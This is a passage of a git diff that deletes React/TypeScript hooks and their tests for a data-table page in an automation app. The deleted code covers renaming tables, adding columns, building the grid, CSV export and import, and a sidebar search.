-        it('returns open as false', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('returns empty renameValue', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.renameValue).toBe('');
-        });
-
-        it('returns canRename as false when no table is selected', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-    });
-
-    describe('open dialog', () => {
-        it('opens dialog when handleOpen is called', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('sets renameValue to baseName when opened', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            rerender();
-
-            expect(result.current.renameValue).toBe('TestTable');
-        });
-    });
-
-    describe('close dialog', () => {
-        it('closes dialog', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('canRename', () => {
-        it('returns false when renameValue equals baseName', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'TestTable';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('returns true when renameValue differs from baseName', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(true);
-        });
-
-        it('returns false when renameValue is empty', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = '';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('returns false when renameValue is whitespace only', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = '   ';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-    });
-
-    describe('handleRenameValueChange', () => {
-        it('updates rename value', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpen('table-123', 'TestTable');
-            });
-
-            act(() => {
-                result.current.handleRenameValueChange('NewName');
-            });
-
-            rerender();
-
-            expect(result.current.renameValue).toBe('NewName');
-        });
-    });
-
-    describe('handleRename', () => {
-        it('calls rename mutation with correct data', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.renameMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    newBaseName: 'NewName',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('does not call mutation when no table is selected', () => {
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.renameMutate).not.toHaveBeenCalled();
-        });
-
-        it('does not call mutation when canRename is false', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'TestTable';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.renameMutate).not.toHaveBeenCalled();
-        });
-
-        it('closes dialog after successful rename', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('invalidates queries after successful rename', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = 'NewName';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['dataTables'],
-            });
-        });
-
-        it('trims the rename value before submitting', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            hoisted.storeState.baseName = 'TestTable';
-            hoisted.storeState.renameValue = '  NewName  ';
-
-            const {result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.renameMutate).toHaveBeenCalledWith({
-                input: {
-                    environmentId: '2',
-                    newBaseName: 'NewName',
-                    tableId: 'table-123',
-                },
-            });
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('closes dialog when called with false', () => {
-            hoisted.storeState.tableIdToRename = 'table-123';
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            rerender();
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('does nothing when called with true', () => {
-            const {rerender, result} = renderHook(() => useRenameDataTableDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            rerender();
-
-            expect(hoisted.storeState.clearTableToRename).not.toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/useAddDataTableColumnDialog.ts b/client/src/pages/automation/datatable/hooks/useAddDataTableColumnDialog.ts
deleted file mode 100644
index edcaffcf5ca..00000000000
--- a/client/src/pages/automation/datatable/hooks/useAddDataTableColumnDialog.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import {ColumnType, useAddDataTableColumnMutation} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-
-import {useAddDataTableColumnDialogStore} from '../stores/useAddDataTableColumnDialogStore';
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-
-interface UseAddDataTableColumnDialogI {
-    handleAdd: (name: string, type: ColumnType) => void;
-    handleClose: () => void;
-    handleOpen: () => void;
-    handleOpenChange: (open: boolean) => void;
-    open: boolean;
-}
-
-export default function useAddDataTableColumnDialog(): UseAddDataTableColumnDialogI {
-    const {clearDialog, open, setOpen} = useAddDataTableColumnDialogStore();
-    const {dataTable} = useCurrentDataTableStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const queryClient = useQueryClient();
-
-    const addColumnMutation = useAddDataTableColumnMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['dataTables']});
-            clearDialog();
-        },
-    });
-
-    const handleClose = () => {
-        clearDialog();
-    };
-
-    const handleOpen = () => {
-        setOpen(true);
-    };
-
-    const handleAdd = (name: string, type: ColumnType) => {
-        if (!dataTable?.id) return;
-
-        addColumnMutation.mutate({
-            input: {column: {name, type}, environmentId: String(environmentId), tableId: dataTable.id},
-        });
-    };
-
-    const handleOpenChange = (openValue: boolean) => {
-        if (!openValue) {
-            handleClose();
-        } else {
-            setOpen(true);
-        }
-    };
-
-    return {
-        handleAdd,
-        handleClose,
-        handleOpen,
-        handleOpenChange,
-        open,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDataTable.tsx b/client/src/pages/automation/datatable/hooks/useDataTable.tsx
deleted file mode 100644
index a5c5e76f93b..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDataTable.tsx
+++ /dev/null
@@ -1,526 +0,0 @@
-import Button from '@/components/Button/Button';
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {
-    DataTable,
-    useDataTablesQuery,
-    useInsertDataTableRowMutation,
-    useUpdateDataTableRowMutation,
-} from '@/shared/middleware/graphql';
-import {useDataTableRowsInfiniteQuery} from '@/shared/queries/automation/datatables.queries';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useQueryClient} from '@tanstack/react-query';
-import {Plus} from 'lucide-react';
-import {Dispatch, SetStateAction, type UIEvent, useCallback, useEffect, useMemo, useRef, useState} from 'react';
-import {type ColSpanArgs, Column, RowsChangeData} from 'react-data-grid';
-
-import BottomLoader from '../components/BottomLoader';
-import {
-    type GridRowType,
-    type SummaryRowType,
-    createBooleanCellRenderer,
-    createDateCellRenderer,
-    createDateEditCellRenderer,
-    createDateTimeCellRenderer,
-    createDateTimeEditCellRenderer,
-    createNumberEditCellRenderer,
-    createStringEditCellRenderer,
-} from '../components/cell-renderers';
-import ColumnHeaderCell from '../components/cells/ColumnHeaderCell';
-import RowIdCell from '../components/cells/RowIdCell';
-import SelectAllHeaderCell from '../components/cells/SelectAllHeaderCell';
-import {useAddDataTableColumnDialogStore} from '../stores/useAddDataTableColumnDialogStore';
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import {useDeleteDataTableColumnDialogStore} from '../stores/useDeleteDataTableColumnDialogStore';
-import {useRenameDataTableColumnDialogStore} from '../stores/useRenameDataTableColumnDialogStore';
-import {useSelectedRowsStore} from '../stores/useSelectedRowsStore';
-
-const PAGE_SIZE = 500;
-const DEFAULT_COLUMN_WIDTH = 180;
-
-interface UseDataTableParamsI {
-    tableId: string | undefined;
-}
-
-interface ColumnDefinitionI {
-    id: string;
-    name: string;
-    type: string;
-}
-
-interface BuildUserColumnParamsI {
-    column: ColumnDefinitionI;
-    isFetchingNextPage: boolean;
-    isFirstNonFrozenColumn: boolean;
-    onBooleanToggle: (rowId: string, columnName: string, value: boolean) => void;
-    onDeleteColumn: (columnId: string, columnName: string) => void;
-    onRenameColumn: (columnId: string, columnName: string) => void;
-    rowCount: number;
-    setLocalRows: Dispatch<SetStateAction<GridRowType[]>>;
-    totalColumns: number;
-}
-
-interface BuildTrailingColumnParamsI {
-    hasColumns: boolean;
-    isFetchingNextPage: boolean;
-    rowCount: number;
-    setAddColumnDialogOpen: (open: boolean) => void;
-}
-
-interface BuildGridColumnsParamsI {
-    dataTable: DataTable | undefined;
-    handleAddRow: () => void;
-    handleSelectedRowsChange: (next: ReadonlySet<string>) => void;
-    handleToggleSelectAll: (nextChecked: boolean) => void;
-    hoveredRowId: string | null;
-    isFetchingNextPage: boolean;
-    localRowCount: number;
-    onBooleanToggle: (rowId: string, columnName: string, value: boolean) => void;
-    selectedRows: ReadonlySet<string>;
-    setAddColumnDialogOpen: (open: boolean) => void;
-    setColumnToDelete: (columnId: string, columnName: string) => void;
-    setColumnToRename: (columnId: string, columnName: string) => void;
-    setHoveredRowId: Dispatch<SetStateAction<string | null>>;
-    setLocalRows: Dispatch<SetStateAction<GridRowType[]>>;
-}
-
-function buildUserColumn({
-    column,
-    isFetchingNextPage,
-    isFirstNonFrozenColumn,
-    onBooleanToggle,
-    onDeleteColumn,
-    onRenameColumn,
-    rowCount,
-    setLocalRows,
-    totalColumns,
-}: BuildUserColumnParamsI): Column<GridRowType, SummaryRowType> {
-    const baseColumnConfig = {
-        cellClass: 'datatable-cell',
-        editable: (row: GridRowType) => row.id !== '-1',
-        headerCellClass: 'datatable-cell',
-        key: column.name,
-        name: column.name,
-        renderHeaderCell: () => (
-            <ColumnHeaderCell
-                columnId={column.id}
-                columnName={column.name}
-                onDelete={onDeleteColumn}
-                onRename={onRenameColumn}
-            />
-        ),
-        resizable: true,
-        width: DEFAULT_COLUMN_WIDTH,
-    } satisfies Omit<Column<GridRowType, SummaryRowType>, 'colSpan' | 'renderSummaryCell'>;
-
-    let columnDefinition: Column<GridRowType, SummaryRowType> = isFirstNonFrozenColumn
-        ? {
-              ...baseColumnConfig,
-              colSpan: (args: ColSpanArgs<GridRowType, SummaryRowType>) => {
-                  if (args.type === 'SUMMARY') {
-                      return (totalColumns - 2) as number;
-                  }
-
-                  return undefined;
-              },
-              renderSummaryCell: () => <BottomLoader isFetchingNextPage={isFetchingNextPage} rowCount={rowCount} />,
-              summaryCellClass: 'datatable-summary-row',
-          }
-        : {
-              ...baseColumnConfig,
-          };
-
-    if (column.type === 'BOOLEAN') {
-        const BooleanRenderer = createBooleanCellRenderer({
-            columnName: column.name,
-            onToggle: onBooleanToggle,
-            setLocalRows,
-        });
-
-        columnDefinition = {
-            ...columnDefinition,
-            editable: false,
-            renderCell: ({row}) => <BooleanRenderer row={row} />,
-        } satisfies Column<GridRowType, SummaryRowType>;
-    }
-
-    if (column.type === 'STRING') {
-        columnDefinition = {
-            ...columnDefinition,
-            renderEditCell: createStringEditCellRenderer(column.name),
-        };
-    }
-
-    if (column.type === 'NUMBER' || column.type === 'INTEGER') {
-        columnDefinition = {
-            ...columnDefinition,
-            renderEditCell: createNumberEditCellRenderer(column.name),
-        };
-    }
-
-    if (column.type === 'DATE') {
-        columnDefinition = {
-            ...columnDefinition,
-            renderCell: createDateCellRenderer(column.name),
-            renderEditCell: createDateEditCellRenderer(column.name),
-        };
-    }
-
-    if (column.type === 'DATE_TIME') {
-        columnDefinition = {
-            ...columnDefinition,
-            renderCell: createDateTimeCellRenderer(column.name),
-            renderEditCell: createDateTimeEditCellRenderer(column.name),
-        };
-    }
-
-    return columnDefinition;
-}
-
-function buildTrailingColumn({
-    hasColumns,
-    isFetchingNextPage,
-    rowCount,
-    setAddColumnDialogOpen,
-}: BuildTrailingColumnParamsI): Column<GridRowType, SummaryRowType> {
-    return {
-        key: '__add__',
-        name: '',
-        renderHeaderCell: () => (
-            <div className="flex items-center justify-center">
-                <Button
-                    icon={<Plus className="h-4 w-4" />}
-                    onClick={() => setAddColumnDialogOpen(true)}
-                    size="icon"
-                    title="Add column"
-                    variant="ghost"
-                ></Button>
-            </div>
-        ),
-        renderSummaryCell: !hasColumns
-            ? () => <BottomLoader isFetchingNextPage={isFetchingNextPage} rowCount={rowCount} />
-            : undefined,
-        resizable: false,
-        width: 40,
-    };
-}
-
-function buildGridColumns({
-    dataTable,
-    handleAddRow,
-    handleSelectedRowsChange,
-    handleToggleSelectAll,
-    hoveredRowId,
-    isFetchingNextPage,
-    localRowCount,
-    onBooleanToggle,
-    selectedRows,
-    setAddColumnDialogOpen,
-    setColumnToDelete,
-    setColumnToRename,
-    setHoveredRowId,
-    setLocalRows,
-}: BuildGridColumnsParamsI): Column<GridRowType, SummaryRowType>[] {
-    const columns: Column<GridRowType, SummaryRowType>[] = [];
-    const totalColumnCount = 1 + (dataTable?.columns?.length ?? 0) + 1;
-    const selectedCount = selectedRows.size;
-    const isAllSelected = localRowCount > 0 && selectedCount === localRowCount;
-    const isSomeSelected = selectedCount > 0 && selectedCount < localRowCount;
-
-    columns.push({
-        frozen: true,
-        key: 'id',
-        name: 'id',
-        renderCell: ({row, rowIdx}) => (
-            <RowIdCell
-                hoveredRowId={hoveredRowId}
-                onAddRow={handleAddRow}
-                onSelectedRowsChange={handleSelectedRowsChange}
-                row={row as GridRowType}
-                rowIdx={rowIdx}
-                selectedRows={selectedRows}
-                setHoveredRowId={setHoveredRowId}
-            />
-        ),
-        renderHeaderCell: () => (
-            <SelectAllHeaderCell
-                allSelected={isAllSelected}
-                onToggleSelectAll={handleToggleSelectAll}
-                someSelected={isSomeSelected}
-            />
-        ),
-        width: 80,
-    });
-
-    let isSummaryRowAssigned = false;
-
-    (dataTable?.columns ?? []).forEach((column) => {
-        if (!dataTable?.id) return;
-
-        const columnDefinition = buildUserColumn({
-            column,
-            isFetchingNextPage,
-            isFirstNonFrozenColumn: !isSummaryRowAssigned,
-            onBooleanToggle,
-            onDeleteColumn: setColumnToDelete,
-            onRenameColumn: setColumnToRename,
-            rowCount: localRowCount,
-            setLocalRows,
-            totalColumns: totalColumnCount,
-        });
-
-        if (!isSummaryRowAssigned) {
-            isSummaryRowAssigned = true;
-        }
-
-        columns.push(columnDefinition);
-    });
-
-    // Trailing column with + in the header to add a column
-    columns.push(
-        buildTrailingColumn({
-            hasColumns: (dataTable?.columns?.length ?? 0) > 0,
-            isFetchingNextPage,
-            rowCount: localRowCount,
-            setAddColumnDialogOpen,
-        })
-    );
-
-    return columns;
-}
-
-export const useDataTable = ({tableId}: UseDataTableParamsI) => {
-    const [localRows, setLocalRows] = useState<GridRowType[]>([]);
-    const [hoveredRowId, setHoveredRowId] = useState<string | null>(null);
-
-    const {setOpen: setAddColumnDialogOpen} = useAddDataTableColumnDialogStore();
-    const {dataTable, setDataTable} = useCurrentDataTableStore();
-    const {setColumnToDelete} = useDeleteDataTableColumnDialogStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const {setColumnToRename} = useRenameDataTableColumnDialogStore();
-    const {selectedRows, setSelectedRows} = useSelectedRowsStore();
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const {
-        data: pagesData,
-        error: rowsError,
-        fetchNextPage,
-        hasNextPage,
-        isFetchingNextPage,
-        isLoading: rowsLoading,
-    } = useDataTableRowsInfiniteQuery(
-        {environmentId: String(environmentId), limit: PAGE_SIZE, tableId: dataTable?.id ?? ''},
-        {enabled: Boolean(dataTable && dataTable.id != null)}
-    );
-
-    const fetchNextPageRef = useRef(fetchNextPage);
-    const hasNextPageRef = useRef(hasNextPage);
-    const isFetchingNextPageRef = useRef(isFetchingNextPage);
-
-    const gridRows: GridRowType[] = useMemo(() => {
-        const fetchedRows = pagesData?.pages.flatMap((page) => page.dataTableRowsPage.items) ?? [];
-
-        // Spread row.values first, then assign id to prevent user column named "id" from overwriting the row identifier
-        return fetchedRows.map((row) => ({...row.values, id: row.id}));
-    }, [pagesData]);
-
-    const gridRowsWithAdd: GridRowType[] = useMemo(() => {
-        return [...localRows, {id: '-1'} as GridRowType];
-    }, [localRows]);
-
-    const queryClient = useQueryClient();
-
-    const {
-        data: tablesData,
-        error: tablesError,
-        isLoading: tablesLoading,
-    } = useDataTablesQuery({
-        environmentId: String(environmentId),
-        workspaceId: String(workspaceId),
-    });
-
-    const invalidateRows = useCallback(() => {
-        queryClient.invalidateQueries({queryKey: ['dataTableRowsPage']});
-    }, [queryClient]);
-
-    const insertRowMutation = useInsertDataTableRowMutation({
-        onSuccess: invalidateRows,
-    });
-
-    const updateRowMutation = useUpdateDataTableRowMutation({
-        onSuccess: invalidateRows,
-    });
-
-    const handleGridScroll = useCallback((event: UIEvent<HTMLDivElement>) => {
-        const scrollContainer = event.currentTarget;
-        const isNearBottom =
-            scrollContainer.scrollTop + scrollContainer.clientHeight >= scrollContainer.scrollHeight - 60;
-
-        if (isNearBottom && hasNextPageRef.current && !isFetchingNextPageRef.current) {
-            fetchNextPageRef.current();
-        }
-    }, []);
-
-    const handleRowsChange = useCallback(
-        (updatedRows: GridRowType[], changeData: RowsChangeData<GridRowType, SummaryRowType>) => {
-            if (changeData.indexes.length === 1) {
-                const rowIndex = changeData.indexes[0];
-                const updatedRow = updatedRows[rowIndex];
-                const originalRow = localRows.find((row) => row.id === updatedRow.id);
-
-                if (!originalRow) {
-                    return;
-                }
-
-                const changedValues: Record<string, unknown> = {};
-
-                Object.keys(updatedRow).forEach((columnKey) => {
-                    if (columnKey === 'id') return;
-
-                    if (updatedRow[columnKey] !== originalRow[columnKey]) {
-                        changedValues[columnKey] = updatedRow[columnKey];
-                    }
-                });
-
-                if (Object.keys(changedValues).length > 0 && dataTable?.id) {
-                    updateRowMutation.mutate({
-                        input: {
-                            environmentId: String(environmentId),
-                            id: updatedRow.id,
-                            tableId: dataTable.id,
-                            values: changedValues,
-                        },
-                    });
-                }
-
-                setLocalRows(updatedRows.filter((row) => row.id !== '-1'));
-            }
-        },
-        [localRows, dataTable?.id, environmentId, updateRowMutation]
-    );
-
-    const handleSelectedRowsChange = useCallback(
-        (nextSelectedRows: ReadonlySet<string>) => {
-            if (nextSelectedRows.has('-1')) {
-                const filteredSelection = new Set(nextSelectedRows);
-
-                filteredSelection.delete('-1');
-                setSelectedRows(filteredSelection);
-            } else {
-                setSelectedRows(nextSelectedRows);
-            }
-        },
-        [setSelectedRows]
-    );
-
-    const handleToggleSelectAll = useCallback(
-        (isChecked: boolean) => {
-            if (isChecked) {
-                const allRowIds = new Set<string>(localRows.map((row) => String(row.id)));
-
-                setSelectedRows(allRowIds);
-            } else {
-                setSelectedRows(new Set<string>());
-            }
-        },
-        [localRows, setSelectedRows]
-    );
-
-    const handleBooleanToggle = useCallback(
-        (rowId: string, columnName: string, value: boolean) => {
-            if (!dataTable?.id) return;
-
-            updateRowMutation.mutate({
-                input: {
-                    environmentId: String(environmentId),
-                    id: rowId,
-                    tableId: dataTable.id,
-                    values: {[columnName]: value},
-                },
-            });
-        },
-        [dataTable?.id, environmentId, updateRowMutation]
-    );
-
-    const handleAddRow = useCallback(() => {
-        if (!dataTable?.id) return;
-
-        insertRowMutation.mutate({
-            input: {environmentId: String(environmentId), tableId: dataTable.id, values: {}},
-        });
-    }, [dataTable?.id, environmentId, insertRowMutation]);
-
-    const localRowCount = localRows.length;
-
-    const gridColumns: Column<GridRowType, SummaryRowType>[] = useMemo(
-        () =>
-            buildGridColumns({
-                dataTable,
-                handleAddRow,
-                handleSelectedRowsChange,
-                handleToggleSelectAll,
-                hoveredRowId,
-                isFetchingNextPage,
-                localRowCount,
-                onBooleanToggle: handleBooleanToggle,
-                selectedRows,
-                setAddColumnDialogOpen,
-                setColumnToDelete,
-                setColumnToRename,
-                setHoveredRowId,
-                setLocalRows,
-            }),
-        [
-            dataTable,
-            handleAddRow,
-            handleBooleanToggle,
-            handleSelectedRowsChange,
-            handleToggleSelectAll,
-            hoveredRowId,
-            isFetchingNextPage,
-            localRowCount,
-            selectedRows,
-            setAddColumnDialogOpen,
-            setColumnToDelete,
-            setColumnToRename,
-        ]
-    );
-
-    useEffect(() => {
-        const selectedTable = tablesData?.dataTables?.find((tableItem) => tableId != null && tableItem.id === tableId);
-
-        setDataTable(selectedTable);
-    }, [tablesData, tableId, setDataTable]);
-
-    useEffect(() => {
-        handleSelectedRowsChange(new Set());
-    }, [tableId, handleSelectedRowsChange]);
-
-    useEffect(() => {
-        setLocalRows(gridRows);
-    }, [gridRows, tableId]);
-
-    useEffect(() => {
-        fetchNextPageRef.current = fetchNextPage;
-    }, [fetchNextPage]);
-
-    useEffect(() => {
-        hasNextPageRef.current = hasNextPage;
-    }, [hasNextPage]);
-
-    useEffect(() => {
-        isFetchingNextPageRef.current = isFetchingNextPage;
-    }, [isFetchingNextPage]);
-
-    return {
-        gridColumns,
-        gridRowsWithAdd,
-        handleGridScroll,
-        handleRowsChange,
-        handleSelectedRowsChange,
-        rowsError,
-        rowsLoading,
-        selectedRows,
-        tablesError,
-        tablesLoading,
-    };
-};
diff --git a/client/src/pages/automation/datatable/hooks/useDataTableActionsMenu.ts b/client/src/pages/automation/datatable/hooks/useDataTableActionsMenu.ts
deleted file mode 100644
index 5c56a7d995c..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDataTableActionsMenu.ts
+++ /dev/null
@@ -1,128 +0,0 @@
-import {useExportDataTableCsvQuery} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useCallback} from 'react';
-
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import useDeleteDataTableAlertDialog from './useDeleteDataTableAlertDialog';
-import useImportDataTableCsvDialog from './useImportDataTableCsvDialog';
-import useRenameDataTableDialog from './useRenameDataTableDialog';
-
-interface UseDataTableActionsMenuI {
-    canRenameTable: boolean;
-    deleteDialogOpen: boolean;
-    deleteDialogTableName: string | null;
-    handleDeleteDialogOpenChange: (open: boolean) => void;
-    handleDeleteTable: () => void;
-    handleExportCsv: () => void;
-    handleImportCsv: (csvContent: string) => void;
-    handleImportCsvDialogOpenChange: (open: boolean) => void;
-    handleOpenDeleteDialog: () => void;
-    handleOpenImportCsvDialog: () => void;
-    handleOpenRenameDialog: () => void;
-    handleRenameDialogOpenChange: (open: boolean) => void;
-    handleRenameTable: () => void;
-    handleRenameTableValueChange: (value: string) => void;
-    importCsvDialogOpen: boolean;
-    importCsvPending: boolean;
-    renameDialogOpen: boolean;
-    renameTableValue: string;
-}
-
-export default function useDataTableActionsMenu(): UseDataTableActionsMenuI {
-    const {dataTable} = useCurrentDataTableStore();
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-
-    const {
-        handleDelete: handleDeleteTable,
-        handleOpen: openDeleteDialog,
-        handleOpenChange: handleDeleteDialogOpenChange,
-        open: deleteDialogOpen,
-        tableName: deleteDialogTableName,
-    } = useDeleteDataTableAlertDialog();
-
-    const {
-        canRename: canRenameTable,
-        handleOpen: openRenameDialog,
-        handleOpenChange: handleRenameDialogOpenChange,
-        handleRename: handleRenameTable,
-        handleRenameValueChange: handleRenameTableValueChange,
-        open: renameDialogOpen,
-        renameValue: renameTableValue,
-    } = useRenameDataTableDialog();
-
-    const {
-        handleImport: handleImportCsv,
-        handleOpen: openImportCsvDialog,
-        handleOpenChange: handleImportCsvDialogOpenChange,
-        isPending: importCsvPending,
-        open: importCsvDialogOpen,
-    } = useImportDataTableCsvDialog();
-
-    const {refetch: refetchExportCsv} = useExportDataTableCsvQuery(
-        {environmentId: String(environmentId), tableId: dataTable?.id ?? ''},
-        {enabled: false}
-    );
-
-    const handleExportCsv = useCallback(async () => {
-        if (!dataTable?.id) return;
-
-        const {data} = await refetchExportCsv();
-
-        if (!data?.exportDataTableCsv) return;
-
-        const blob = new Blob([data.exportDataTableCsv], {type: 'text/csv;charset=utf-8;'});
-
-        const url = URL.createObjectURL(blob);
-
-        const anchor = document.createElement('a');
-
-        anchor.href = url;
-        anchor.download = `${dataTable.baseName}.csv`;
-
-        document.body.appendChild(anchor);
-
-        anchor.click();
-        anchor.remove();
-
-        URL.revokeObjectURL(url);
-    }, [dataTable?.id, dataTable?.baseName, refetchExportCsv]);
-
-    const handleOpenDeleteDialog = useCallback(() => {
-        const tableId = dataTable?.id ?? '';
-        const tableName = dataTable?.baseName ?? '';
-
-        openDeleteDialog(tableId, tableName);
-    }, [openDeleteDialog, dataTable?.id, dataTable?.baseName]);
-
-    const handleOpenRenameDialog = useCallback(() => {
-        const tableId = dataTable?.id ?? '';
-        const tableName = dataTable?.baseName ?? '';
-
-        openRenameDialog(tableId, tableName);
-    }, [openRenameDialog, dataTable?.id, dataTable?.baseName]);
-
-    const handleOpenImportCsvDialog = useCallback(() => {
-        openImportCsvDialog();
-    }, [openImportCsvDialog]);
-
-    return {
-        canRenameTable,
-        deleteDialogOpen,
-        deleteDialogTableName,
-        handleDeleteDialogOpenChange,
-        handleDeleteTable,
-        handleExportCsv,
-        handleImportCsv,
-        handleImportCsvDialogOpenChange,
-        handleOpenDeleteDialog,
-        handleOpenImportCsvDialog,
-        handleOpenRenameDialog,
-        handleRenameDialogOpenChange,
-        handleRenameTable,
-        handleRenameTableValueChange,
-        importCsvDialogOpen,
-        importCsvPending,
-        renameDialogOpen,
-        renameTableValue,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDataTableHeader.ts b/client/src/pages/automation/datatable/hooks/useDataTableHeader.ts
deleted file mode 100644
index f45dcc08ba8..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDataTableHeader.ts
+++ /dev/null
@@ -1,32 +0,0 @@
-import {useSelectedRowsStore} from '../stores/useSelectedRowsStore';
-import useDeleteDataTableRowsDialog from './useDeleteDataTableRowsDialog';
-
-interface UseDataTableHeaderI {
-    deleteRowsCount: number;
-    deleteRowsDialogOpen: boolean;
-    handleDeleteRows: () => void;
-    handleDeleteRowsDialogOpenChange: (open: boolean) => void;
-    handleOpenDeleteRowsDialog: () => void;
-    selectedRowsCount: number;
-}
-
-export default function useDataTableHeader(): UseDataTableHeaderI {
-    const {selectedRows} = useSelectedRowsStore();
-
-    const {
-        handleDelete: handleDeleteRows,
-        handleOpen: handleOpenDeleteRowsDialog,
-        handleOpenChange: handleDeleteRowsDialogOpenChange,
-        open: deleteRowsDialogOpen,
-        rowCount: deleteRowsCount,
-    } = useDeleteDataTableRowsDialog();
-
-    return {
-        deleteRowsCount,
-        deleteRowsDialogOpen,
-        handleDeleteRows,
-        handleDeleteRowsDialogOpenChange,
-        handleOpenDeleteRowsDialog,
-        selectedRowsCount: selectedRows.size,
-    };
-}
diff --git a/client/src/pages/automation/datatable/hooks/useDataTableLeftSidebar.ts b/client/src/pages/automation/datatable/hooks/useDataTableLeftSidebar.ts
deleted file mode 100644
index ae9c532721f..00000000000
--- a/client/src/pages/automation/datatable/hooks/useDataTableLeftSidebar.ts
+++ /dev/null
@@ -1,56 +0,0 @@
-import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
-import {useDataTablesQuery} from '@/shared/middleware/graphql';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {useMemo, useState} from 'react';
-
-interface DataTableI {
-    id: string;
-    baseName: string;
-}
-
-interface UseDataTableLeftSidebarI {
-    error: unknown;
-    filteredTables: DataTableI[];
-    handleSearchChange: (value: string) => void;
-    isLoading: boolean;
-    search: string;
-}
-
-export default function useDataTableLeftSidebar(): UseDataTableLeftSidebarI {
-    const [search, setSearch] = useState('');
-
-    const environmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const {data, error, isLoading} = useDataTablesQuery({
-        environmentId: String(environmentId),
